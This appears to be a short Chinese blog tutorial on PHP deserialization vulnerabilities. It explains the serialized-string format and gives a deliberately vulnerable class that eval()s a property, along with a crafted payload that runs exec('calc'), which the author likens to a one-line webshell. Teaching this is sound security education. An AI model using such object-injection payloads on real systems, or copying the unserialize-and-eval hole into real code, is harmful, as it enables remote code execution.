php xss 反序列化漏洞

hxdyjx發表於2024-03-08

介紹

反序列化漏洞,利用了後端服務的設計缺陷

序列化和反序列化

物件 =(序列化)》 字串

物件 《(反序列化)= 字串

序列化字串構建

首先,理解下 物件 序列化後 是個 嘛玩意兒

上程式碼

<?php
class test{
    public $a = 'hello';
    private $b = 'hello';
    protected $c = 'hello';
    public function displayVar() {
        echo $this->a;
    }
}
$hxdyjx = new test();
echo serialize($hxdyjx);
echo PHP_EOL;
echo urlencode(serialize($hxdyjx));
//O:4:"test":3:{s:1:"a";s:5:"hello";s:7:"%00test%00b";s:5:"hello";s:4:"%00*%00c";s:5:"hello";}

對照理解

名稱 意義
O:4:"test":3:{} 類 長度4 名稱test 有3個小弟
s:1:"a";s:5:"hello" 一般的小弟 名字長度1 小弟叫a 小弟5cm長 銘文hello
s:7:"%00test%00b";s:5:"hello"; 大佬禁臠級小弟 名字長度7 小弟叫b(%00test%00 佔了6個位元組)小弟5cm長 銘文hello
s:4:"%00*%00c";s:5:"hello"; 受幫派保護的小弟 名字長度4 小弟叫c(%00*%00 佔了3個位元組)小弟5cm長 銘文hello

反序列化漏洞示例

<?php
class test{
    public $a = 'calc';
    public function displayVar() {
        eval($this->a);
    }
}

//$get = new test();
//$get = serialize($get);
//echo $get;

$get = 'O:4:"test":1:{s:1:"a";s:13:"exec("calc");";}';
$b = unserialize($get);
$b->displayVar() ;
?>

這裡的'O:4:"test":1:{s:1:"a";s:13:"exec("calc");";}' 就是我構造的payload,如果是http 請求 ,是不是就是一個一句話木馬啦?

相關文章